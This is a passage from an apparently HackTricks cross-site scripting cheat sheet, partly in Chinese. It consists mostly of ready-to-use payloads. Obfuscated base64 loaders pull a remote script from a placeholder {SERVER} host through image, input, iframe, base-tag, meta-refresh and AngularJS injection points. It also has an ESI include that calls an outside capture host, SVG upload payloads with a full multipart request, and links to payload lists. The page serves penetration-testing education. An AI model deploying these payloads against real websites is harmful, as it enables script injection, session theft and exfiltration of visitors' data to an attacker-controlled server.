'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 访问隐藏内容
From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force 列表
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS 滥用其他漏洞
XSS in Markdown
可以注入会被渲染的 Markdown 代码吗?也许你能得到 XSS!查看:
XSS to SSRF
在 site that uses caching 上发现 XSS?尝试通过 Edge Side Include Injection 将其升级为 SSRF,使用以下 payload:
<esi:include src="http://yoursite.com/capture" />
可用于绕过 cookie 限制、XSS 过滤等更多用途!
More information about this technique here: XSLT.
动态生成 PDF 中的 XSS
如果网页使用用户可控输入创建 PDF,你可以尝试欺骗创建 PDF 的 bot以执行任意 JS 代码。
因此,如果PDF creator bot 发现某种HTML 标签,它会对其解析,你可以滥用这一行为造成Server XSS。
如果你无法注入 HTML 标签,可以尝试注入 PDF 数据:
Amp4Email 中的 XSS
AMP 旨在加速移动设备上的网页性能,采用 HTML 标签并辅以 JavaScript 来保证功能,强调速度与安全。它支持多种组件来实现不同功能,可通过 AMP components 访问。
AMP for Email 格式将特定 AMP 组件扩展到邮件,使收件人可以在邮件内直接与内容交互。
示例 writeup XSS in Amp4Email in Gmail.
通过上传文件(svg)触发的 XSS
将如下文件作为图像上传(来源:http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
查找 更多 SVG payloads 在 https://github.com/allanlw/svg-cheatsheet
其他 JS 技巧 & 相关信息
Misc JS Tricks & Relevant Info
XSS 资源
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
参考
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks